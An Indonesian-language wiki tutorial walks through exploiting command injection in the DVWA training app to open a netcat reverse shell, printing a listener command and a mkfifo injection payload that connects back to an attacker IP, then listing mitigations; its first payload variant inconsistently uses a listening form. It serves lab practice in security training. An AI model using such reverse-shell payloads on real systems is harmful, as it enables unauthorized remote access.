Hands-on mkfifo attack backdoor di DVWA via Command Injection

From OnnoWiki
Jump to navigation Jump to search

Langkah-Langkah Eksploitasi Command Injection

Prasyarat

  1. DVWA sudah diinstal dan berjalan pada server yang rentan (dapat menggunakan Kali Linux atau mesin virtual lain).
  2. Netcat sudah terpasang pada mesin attacker (Kali Linux 2024.3) untuk mendapatkan reverse shell.
  3. Pengaturan DVWA: Set level keamanan pada "Low" agar dapat memanfaatkan command injection.

Langkah 1: Konfigurasi DVWA

  1. Buka DVWA di browser dengan alamat `http://localhost/dvwa/`.
  2. Masuk menggunakan kredensial default: `admin` sebagai username dan `password` sebagai password.
  3. Setelah masuk, buka menu DVWA Security dan pastikan level keamanan diset ke Low.

Langkah 2: Akses Halaman Command Injection

  1. Di halaman utama DVWA, pilih modul Command Injection.
  2. Pada halaman ini, terdapat input untuk memeriksa alamat IP. Biasanya ini memerlukan input seperti "127.0.0.1" untuk melakukan ping.

Langkah 3: Persiapan di Mesin Attacker

  1. Di mesin Kali Linux, buka terminal.
  2. Jalankan perintah Netcat untuk mendengarkan koneksi pada port yang sama (4444) seperti yang akan digunakan dalam script:
nc -lvp 4444

Langkah 4: Eksekusi Backdoor Command Injection

  1. Kembali ke halaman Command Injection di DVWA.
  2. Pada input, masukkan script berikut (ganti "IP-address" dengan alamat IP mesin attacker):
IP-address;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe

Contoh jika IP attacker adalah 192.168.1.10:

192.168.1.10;mkfifo /tmp/pipe;sh /tmp/pipe | nc 192.168.1.10 4444 > /tmp/pipe
  1. Klik Submit untuk mengirimkan perintah ke DVWA.

Langkah 5: Verifikasi Reverse Shell

  1. Di terminal Netcat pada mesin attacker, cek apakah telah muncul shell dari server DVWA.
  2. Anda kini memiliki akses ke server DVWA melalui reverse shell.

Langkah 6: Cleanup

Untuk menjaga agar DVWA tetap dalam kondisi baik, hapus file pipe sementara di `/tmp`:

rm /tmp/pipe


Pembahasan

Bagaimana Script Ini Bekerja:

  • `mkfifo /tmp/pipe`: Membuat FIFO (named pipe) di direktori `/tmp`.
  • `sh /tmp/pipe | nc IP-address 4444 > /tmp/pipe`: Script ini memanfaatkan Netcat untuk membuat koneksi ke alamat IP attacker di port 4444. Data dikirim dan diterima melalui named pipe.

Keamanan dan Pencegahan: Kerentanan command injection ini dapat dihindari dengan:

  • Melakukan validasi input secara ketat.
  • Menghindari eksekusi langsung dari input pengguna dalam shell.
  • Menggunakan framework web yang menghindari command injection.

Dengan mengikuti langkah-langkah ini, Anda dapat menunjukkan eksploitasi command injection dan memberikan pemahaman mendalam mengenai mitigasi serta konsekuensinya dalam keamanan sistem.


Pranala Menarik